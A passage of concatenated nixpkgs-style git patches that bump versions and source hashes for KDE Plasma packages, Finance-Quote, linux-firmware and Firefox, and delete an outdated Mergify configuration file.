-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/oxygen-6.3.5.tar.xz",
-    "hash": "sha256-el8Gp0xF7amZqW+OtbLW5Yvqk8OX3xSEtIkoZ32v1z0="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/oxygen-6.3.6.tar.xz",
+    "hash": "sha256-AJQjB7z3U0Mi4W+lvX1fRBwXdjkTqbwuQzYVpRMT5jU="
   },
   "oxygen-sounds": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/oxygen-sounds-6.3.5.tar.xz",
-    "hash": "sha256-QFjwO+89nHNKZ5qvbmDO6y6EUAcHi0tlSh88kNKCLlY="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/oxygen-sounds-6.3.6.tar.xz",
+    "hash": "sha256-ZGUS2JqAfoD58tVmb6ygq47i4A35ZZWis4/lvt9kaK0="
   },
   "plasma-activities": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-activities-6.3.5.tar.xz",
-    "hash": "sha256-7uVaTt4tl3+R2lp/3tbdIa6mwu5PXZ3xFoJwqNYdGfo="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-activities-6.3.6.tar.xz",
+    "hash": "sha256-M9skCgaPsJwOOjsbLLflwwGtntSl5D8AUOCtaSKQOSg="
   },
   "plasma-activities-stats": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-activities-stats-6.3.5.tar.xz",
-    "hash": "sha256-ZU+sklcd7L2lG9yf7bjA4+X3DXQvcQkZhMELE38cxG4="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-activities-stats-6.3.6.tar.xz",
+    "hash": "sha256-Fcn810Tq2DEFvhG/5obCakrP6xoyGRGHz7StnXUAEOI="
   },
   "plasma-browser-integration": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-browser-integration-6.3.5.tar.xz",
-    "hash": "sha256-/+EdOQ8xEtvmfxx9vIAAodQUdJrpxn/np5SJ8grjwko="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-browser-integration-6.3.6.tar.xz",
+    "hash": "sha256-PECe+/bDcHgMCubvHjmzjSZ3Wxz9Nz23SBYk29FYhx0="
   },
   "plasma-desktop": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-desktop-6.3.5.tar.xz",
-    "hash": "sha256-BH956THyCUNUsYTUsfypFUpzLHSYvxhxqAECB/gCn5o="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-desktop-6.3.6.tar.xz",
+    "hash": "sha256-IQ4h/WcwKcrn3+QqU+UcmDVS+fzSbJP/kW6TGYCkpt0="
   },
   "plasma-dialer": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-dialer-6.3.5.tar.xz",
-    "hash": "sha256-sbuKAI+g4w1TGTAdppr5et2Uus5OUEkXBmpxMUDBt1M="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-dialer-6.3.6.tar.xz",
+    "hash": "sha256-1czY4+wgMWFPBvoqdDubkK0PDcwdiT7RZBqiXinGoHg="
   },
   "plasma-disks": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-disks-6.3.5.tar.xz",
-    "hash": "sha256-6vMIr/1yB+6FRK55yZ03a/f56J4iiwE71xavnFMNb80="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-disks-6.3.6.tar.xz",
+    "hash": "sha256-3UyaXLkZBd/gsgwfUsopcwNwAaFRYO77lrm+fYciPTE="
   },
   "plasma-firewall": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-firewall-6.3.5.tar.xz",
-    "hash": "sha256-cj7lwTHUmlocJYoPAFtSsrww+Jq1DcJWRC8RS+RO+fQ="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-firewall-6.3.6.tar.xz",
+    "hash": "sha256-uL/0V5k1H1a7u3aHu7z8gDqgUXL1YPUqcYcQjNC5hP4="
   },
   "plasma-integration": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-integration-6.3.5.tar.xz",
-    "hash": "sha256-25RRAKxGG5vgG6N069BHwwm08HdmaMpXBWCHAJTQkRo="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-integration-6.3.6.tar.xz",
+    "hash": "sha256-/168gyoFOiCB/EFMjQUP9nTJikEn4kDuYlnJXjNGA2o="
   },
   "plasma-mobile": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-mobile-6.3.5.tar.xz",
-    "hash": "sha256-Bnxd7xZOqMU0qRD7V7TdabHIOmh3l17+vht7J0BF9Jc="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-mobile-6.3.6.tar.xz",
+    "hash": "sha256-FwfC2akD4fbVgbbwMlBeetMgt8YC+le0QzSynJJkUKo="
   },
   "plasma-nano": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-nano-6.3.5.tar.xz",
-    "hash": "sha256-/qNsyIFyyGmfbGQ82umgH5JAinaUKiPrVld9zw/DjV8="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-nano-6.3.6.tar.xz",
+    "hash": "sha256-7fZ30PLsF8Gw6yMFeyuSRJ303Po+VGoRhDBAeCKK854="
   },
   "plasma-nm": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-nm-6.3.5.tar.xz",
-    "hash": "sha256-FAHNOR5oTLkaKtyJ4CWlKEVctoPM3PFSpgVwEpM2I/k="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-nm-6.3.6.tar.xz",
+    "hash": "sha256-qgrnVERytF+6XFH5A1kwTA6EEzZPxtleHMFQUiLMGWc="
   },
   "plasma-pa": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-pa-6.3.5.tar.xz",
-    "hash": "sha256-pm//c61ZxH0KDE8axDSa+81Td+eSjt1oSfWn5OEcAZg="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-pa-6.3.6.tar.xz",
+    "hash": "sha256-t9nGnlEnGBAUzmVc/WrjrsB4GmxwklNkmlKQ14KTrOE="
   },
   "plasma-sdk": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-sdk-6.3.5.tar.xz",
-    "hash": "sha256-cOBH/yxXURTLs254LD4EWyUyWoDY/XpAG9gVjD+ynNM="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-sdk-6.3.6.tar.xz",
+    "hash": "sha256-JnuNEfWxtTKGsxMz0ClEGpeKWTinaVc4YGzx6kKTkJA="
   },
   "plasma-systemmonitor": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-systemmonitor-6.3.5.tar.xz",
-    "hash": "sha256-cudaSypUb+mGlOWySQUOM1i6rgscOSV6D9pyBqZ3phA="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-systemmonitor-6.3.6.tar.xz",
+    "hash": "sha256-DtZywOdF3SbrEi6Zbvc2dKUy46z3Gi4sPvd7ymFZIhI="
   },
   "plasma-thunderbolt": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-thunderbolt-6.3.5.tar.xz",
-    "hash": "sha256-RHLy64VCp5dq4c3aAC1CIBmhFm3r6QIYCneImpAkhD8="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-thunderbolt-6.3.6.tar.xz",
+    "hash": "sha256-xtEGCMit11ZGXRhtmUD8yTxUMfuCnmBXvFcsdwBDlKU="
   },
   "plasma-vault": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-vault-6.3.5.tar.xz",
-    "hash": "sha256-psyOrngWcfYtRl3J7EU2BECaJKXJqRyivQKRIrfQHnM="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-vault-6.3.6.tar.xz",
+    "hash": "sha256-Bq7iFC6UQ95vzFx9GSNc0dCUmF35qztwD0wNXPbLVK0="
   },
   "plasma-welcome": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-welcome-6.3.5.tar.xz",
-    "hash": "sha256-fuRzKbKUZUm36lPKE8LUpZLSmh7mO5Lo73sF3Dd8cMY="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-welcome-6.3.6.tar.xz",
+    "hash": "sha256-RMTynEEcyVYXDIF4C4h0ZrBM9saN5uFF4y1cZ4mkiEM="
   },
   "plasma-workspace": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-workspace-6.3.5.tar.xz",
-    "hash": "sha256-f1CPbKJ9fWFe7ieRndCw+U0Wi6gcOk1UOWgEa8y3h/I="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-workspace-6.3.6.tar.xz",
+    "hash": "sha256-WlcseFhwGLx7ZM9/1pGo8Fj94DD/y5iOHk18AaPoeMA="
   },
   "plasma-workspace-wallpapers": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma-workspace-wallpapers-6.3.5.tar.xz",
-    "hash": "sha256-ipG/gDePFrEvmiAcclLPC6a5DT43hqNll7OyEV+A23w="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma-workspace-wallpapers-6.3.6.tar.xz",
+    "hash": "sha256-Ab5OQc5P66ie4A2XaECWvOXpSjpV+toGMyc6lZz9F58="
   },
   "plasma5support": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plasma5support-6.3.5.tar.xz",
-    "hash": "sha256-6CVJ3gQ+i++iFWrYHK98eoFRkUnNeqgE/9YCoMSlSL4="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plasma5support-6.3.6.tar.xz",
+    "hash": "sha256-vqIHXXfehkkMobpC290OeQnWqAtb58Z7lxsgp2m4qvM="
   },
   "plymouth-kcm": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/plymouth-kcm-6.3.5.tar.xz",
-    "hash": "sha256-ZvD+YUe70EACAzec0xIDs2ZC2Pe64Px5AGjpWFN/h00="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/plymouth-kcm-6.3.6.tar.xz",
+    "hash": "sha256-hBKVGmLiMxa1XFMbAd8BXnEdwT4XkpB//AyIiRXnSx0="
   },
   "polkit-kde-agent-1": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/polkit-kde-agent-1-6.3.5.tar.xz",
-    "hash": "sha256-WAcbNSmlO2yZ8aKrUbRSxxusAtH0RW60sBScm8m9W6A="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/polkit-kde-agent-1-6.3.6.tar.xz",
+    "hash": "sha256-1I3Mqd8UPac3qXDFNkGjVC4tJlKMZBDru8/vh+SdJng="
   },
   "powerdevil": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/powerdevil-6.3.5.tar.xz",
-    "hash": "sha256-ppiD1hVuemd8jRy1zZFaieJGaSdO8ZZtXZzrMTJQ2lM="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/powerdevil-6.3.6.tar.xz",
+    "hash": "sha256-yNj+jE3AmR6BP64+1mwclC+WPYjoWTlYJalHJXMxqvI="
   },
   "print-manager": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/print-manager-6.3.5.tar.xz",
-    "hash": "sha256-dxUfOVrZHtprZE62yH/iib4ZjqtBwDnmC9uzsW1VmsE="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/print-manager-6.3.6.tar.xz",
+    "hash": "sha256-Qmv4drIgc7cLzy3DWHC9IdeVF8Qp8muYx4aQ6SjOZQs="
   },
   "qqc2-breeze-style": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/qqc2-breeze-style-6.3.5.tar.xz",
-    "hash": "sha256-MHqit3HhWFHXAWmah3TrSCYaoRewv/+dqBwzlPuNS+o="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/qqc2-breeze-style-6.3.6.tar.xz",
+    "hash": "sha256-ChHSLgDaWEeAQbRQg68w0nTztnekroMCWDTWnGZdhfY="
   },
   "sddm-kcm": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/sddm-kcm-6.3.5.tar.xz",
-    "hash": "sha256-tJBj8KKKPkLbpsbe5nWj1TPXJ8M/Q76JEPZAa1x9CNI="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/sddm-kcm-6.3.6.tar.xz",
+    "hash": "sha256-WeXcuhNveUMgGyE7jcr7NUmA7Zlm4Cwa8UZLZ3hVOy0="
   },
   "spacebar": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/spacebar-6.3.5.tar.xz",
-    "hash": "sha256-r5hOC4wDgLdPeL/2+UbXzmhtMSa+ylTV7oXvcRRRrXM="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/spacebar-6.3.6.tar.xz",
+    "hash": "sha256-oMzuPGu8Ts7FXdFUB5YYAGk1MtlcdScuelaV7AtNyhM="
   },
   "spectacle": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/spectacle-6.3.5.tar.xz",
-    "hash": "sha256-3vyxsuooW+jF2cnt44mmYo4Lzl2Z0JFs6SWGVSOe8WA="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/spectacle-6.3.6.tar.xz",
+    "hash": "sha256-A5+cZDd+XIAvXLo1X3eKBHVl0IuOncTDCtQqcd0ifHI="
   },
   "systemsettings": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/systemsettings-6.3.5.tar.xz",
-    "hash": "sha256-3Qu1QUBb7RVHRjPNitkKme/MdjuSPaYPtAtpLCrW5Iw="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/systemsettings-6.3.6.tar.xz",
+    "hash": "sha256-wchyuX+/XvgPhL5JDCcvZnVj0bb3FrP0uyNNrZ4S14Q="
   },
   "wacomtablet": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/wacomtablet-6.3.5.tar.xz",
-    "hash": "sha256-fXAzHewvgLLFZOeIGyX2Ka36Uu/Hr2DfmhVHnrUy8Lc="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/wacomtablet-6.3.6.tar.xz",
+    "hash": "sha256-w8ptdq8dZiR1rs2OSAptUuQFLULT35rdlEavI0R7/nU="
   },
   "xdg-desktop-portal-kde": {
-    "version": "6.3.5",
-    "url": "mirror://kde/stable/plasma/6.3.5/xdg-desktop-portal-kde-6.3.5.tar.xz",
-    "hash": "sha256-DCvcVypvQO5F0b2gkO10JVGwyjSMRpuhRw+HRTlabPg="
+    "version": "6.3.6",
+    "url": "mirror://kde/stable/plasma/6.3.6/xdg-desktop-portal-kde-6.3.6.tar.xz",
+    "hash": "sha256-mddzzKzh/pL5aoxWL5cCux/xaYFeAU13TzO0FaRmfGM="
   }
 }
\ No newline at end of file

From 1abbba397510f668907e302d54e780e1225fc729 Mon Sep 17 00:00:00 2001
From: Yongun Seong <nevivurn@nevi.dev>
Date: Sun, 6 Jul 2025 20:05:49 +0900
Subject: [PATCH 2167/4511] perlPackages.FinanceQuote: 1.65 -> 1.66

(cherry picked from commit 98e0b5e2e4a9e04f666587ce8721ce37b57d45b1)
---
 pkgs/top-level/perl-packages.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index baddbea972e2..9c8b3742325f 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -14159,10 +14159,10 @@ with self;
 
   FinanceQuote = buildPerlPackage rec {
     pname = "Finance-Quote";
-    version = "1.65";
+    version = "1.66";
     src = fetchurl {
       url = "mirror://cpan/authors/id/B/BP/BPSCHUCK/Finance-Quote-${version}.tar.gz";
-      hash = "sha256-C3pJZaLJrW+nwDawloHHtEWyB1j6qYNnsmZZz2L+Axg=";
+      hash = "sha256-GOkdcI+Ah6JvvL+zsKYe0UcdKks855jecwTzBIGkZ+k=";
     };
     buildInputs = [
       DateManip

From 766d39cab32b9f6bb197dc7bd5071556435e238c Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Tue, 8 Jul 2025 21:32:52 +0300
Subject: [PATCH 2168/4511] linux-firmware: 20250627 -> 20250708

Diff: https://gitlab.com/kernel-firmware/linux-firmware/-/compare/refs/tags/20250627...20250708
(cherry picked from commit 47310185099a0e40bb77c16793185c90ed5f3ace)
---
 pkgs/by-name/li/linux-firmware/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/linux-firmware/package.nix b/pkgs/by-name/li/linux-firmware/package.nix
index 9b9ec6206956..dd9042793e7b 100644
--- a/pkgs/by-name/li/linux-firmware/package.nix
+++ b/pkgs/by-name/li/linux-firmware/package.nix
@@ -22,13 +22,13 @@ let
 in
 stdenvNoCC.mkDerivation rec {
   pname = "linux-firmware";
-  version = "20250627";
+  version = "20250708";
 
   src = fetchFromGitLab {
     owner = "kernel-firmware";
     repo = "linux-firmware";
     tag = version;
-    hash = "sha256-mNjCl+HtvvFxyLjlBFsyfyu2TAf6D/9lbRiouKC/vVY=";
+    hash = "sha256-TJ97A9I0ipsqgg7ex3pAQgdhDJcLbkNCvuLppt9a07o=";
   };
 
   postUnpack = ''

From 07922847b13747cdf203b07c409f9cfdf8a2fc2f Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 8 Jul 2025 17:10:07 +0200
Subject: [PATCH 2169/4511] .mergify.yml: drop

The mergify configuration is outdated because job names have changed
significantly. Also the mergify experiment failed and we're on our way
towards GitHub merge queues, slowly but steadily.

Thus, we don't need that anymore.

(cherry picked from commit 08e67c744fb180f30326300daad37e8a57cdbacb)
---
 .mergify.yml | 21 ---------------------
 1 file changed, 21 deletions(-)
 delete mode 100644 .mergify.yml

diff --git a/.mergify.yml b/.mergify.yml
deleted file mode 100644
index 83791c36780c..000000000000
--- a/.mergify.yml
+++ /dev/null
@@ -1,21 +0,0 @@
-queue_rules:
-  # This rule is for https://docs.mergify.com/commands/queue/
-  # and can be triggered with: @mergifyio queue
-  - name: default
-    merge_conditions:
-      # all github action checks in this list are required to merge a pull request
-      - check-success=Attributes
-      - check-success=Check
-      - check-success=Outpaths (aarch64-darwin)
-      - check-success=Outpaths (aarch64-linux)
-      - check-success=Outpaths (x86_64-darwin)
-      - check-success=Outpaths (x86_64-linux)
-      - check-success=Process
-      - check-success=Request
-      - check-success=editorconfig-check
-      - check-success=label-pr
-      - check-success=nix-files-parseable-check
-      - check-success=nixfmt-check
-      - check-success=nixpkgs-vet
-    # queue up to 5 pull requests at a time
-    batch_size: 5

From f18f56cbbec3112ab4534a8ebc04ea85452dfef5 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 8 Jul 2025 18:26:39 +0200
Subject: [PATCH 2170/4511] firefox-unwrapped: 140.0.2 -> 140.0.4

https://www.mozilla.org/en-US/firefox/140.0.4/releasenotes/
(cherry picked from commit 5e349d700d222c35c776ec1c4bec06983f48dbcc)
---
 .../networking/browsers/firefox/packages/firefox.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
index d1209af3b1c5..6f12c9b1e4de 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
@@ -9,10 +9,10 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "140.0.2";
+  version = "140.0.4";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "11d3295c82835668f43a888bd5aada22248776e033aecc7558348e6ee26626bf4b65bbaae2680f7285a6b2b6209ec5d4aea453f1e0603544cd48bf45c735b2ea";
+    sha512 = "3de7c0871b8a45683f5c226fb3e91e597e8f89ef154b208b2a57c4d3ea9f39cb5c69ecbd5eca3b6da68d3775688d2289c1360c7d110c67bb1be1cf26ef8cf36d";
   };
 
   meta = {

From 1352e3ad457e8845c6e6a808eb5f2824ae234951 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 8 Jul 2025 18:31:33 +0200
Subject: [PATCH 2171/4511] firefox-bin-unwrapped: 140.0.2 -> 140.0.4

https://www.mozilla.org/en-US/firefox/140.0.4/releasenotes/
(cherry picked from commit 5410795c734b619c878adb5232260b2450bf546c)
---
 .../browsers/firefox-bin/release_sources.nix  | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
index 78943a86d577..c52e8385e537 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "140.0.2";
+  version = "140.0.4";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ach/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ach/firefox-140.0.4.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "e2c227089de992da5a02f95b106e5294a02ed4d25fc8de2bec09f6b71e97d66c";
+      sha256 = "f943c88e9137bac9d5ddfc60939ad2d29c1bd552a25940952cfc259594fed177";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/af/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/af/firefox-140.0.4.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "cf761d0ce70f84f5d58ee6258aac4a71abeaba884bb5270cdc66f63f3a232f08";
+      sha256 = "b99de59f6e9dc526de1a5b2ad32746e664644e1571808fc69afc8c4642c0e1e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/an/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/an/firefox-140.0.4.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "45376e155b125ad03b2d5c021d03a688271a267f2f454e46665d587661066b86";
+      sha256 = "c045273e667aeabc7be60f0086391bc36d90f2adfab92210ba1f9268e1d7c8ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ar/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ar/firefox-140.0.4.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "76311912ed9617e6268d07b4f966f569474c6e4afaa45ecbf41d46635d3bf61d";
+      sha256 = "82e951d31b07d9688937734621057a7619cf191fe752ba8ec727163917ae56cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ast/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ast/firefox-140.0.4.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "cddb8708c58ea8ede3144fbbe5d5ac75f6b31b7b458214e8861ada75ea8b71f0";
+      sha256 = "8dda2a1af36b2dca3de2c9f74bc0072f3be2d9b3214d39d710db03583d921b84";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/az/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/az/firefox-140.0.4.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "f302ae54f3505e58140cdc5e08ed11ceda66cbcbcc2c02121571dd43e841e5dc";
+      sha256 = "2807a17273842e0599a13dfe4fdea595f2f5949217e3a346b92839d15dea72e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/be/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/be/firefox-140.0.4.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "29bd46023ff9ec1e5e24a017290e58bf40ba0e653dfd6c90fe8cd1d902ec442c";
+      sha256 = "b8296455d8ece60bffb88e8202dc30c34bef5d7ec1ffab8af08239e70ab1046d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/bg/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/bg/firefox-140.0.4.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "4cc5d8b67eb7db41f12d8499fcb93599f15239d9b39356e7e79a6d6938978ed6";
+      sha256 = "7d3e2f5e04170c73008253f03b11fbe0c48c183faf6e10e2350e1836df60a475";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/bn/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/bn/firefox-140.0.4.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "4d03e63d210bee0966f276a1a52838fb79996279d60678848085b530d78851f1";
+      sha256 = "be32a5971fd9ec8b7a90ec14d36025501744bfd0fede998f7e3050529f84480d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/br/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/br/firefox-140.0.4.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "e6e28d37de7390c89cc4bdbb5e509f9897c27453d233c07ed4fac38780d06e0b";
+      sha256 = "fd4216ca595c6aeb3df8f65757f255ec19c3ec3a4efc189f247ff46266c0b49c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/bs/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/bs/firefox-140.0.4.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "82f9d85725ff479487fbad5dd214e4cef6ac768925d0a3d9f752d4b0e675568d";
+      sha256 = "81dd60942c9ff6756678076ecd7911bcdf3b7d4a5a8afbd7b30b18a6653ab542";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ca-valencia/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ca-valencia/firefox-140.0.4.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "3bac8a3d6d84a156d77b0f418df20f462a4fc7d6df4683b76ce8c09d66a2c21e";
+      sha256 = "033596fb9b446b4e83a05db4d3ca4bbedb4749fc306d2abf19aa18cd1ce56c7b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ca/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ca/firefox-140.0.4.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "7e7bf5b13622d91d6c7cd0fb2ce192ac65a2c3e85f6fa7d0f46cdcdbb10ef6a5";
+      sha256 = "8e0b32b4201d78fa0cdbe39358091f75823385bfef42202073b08fb89e855f1d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/cak/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/cak/firefox-140.0.4.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "fde5d16b04bbfa8a873203b54076173b453d93b7ae72602fac3a2798d83f69d9";
+      sha256 = "80030af3faff215dd3a31a38ddf6300c25317c48d43cd6e368edb8260500b38c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/cs/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/cs/firefox-140.0.4.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
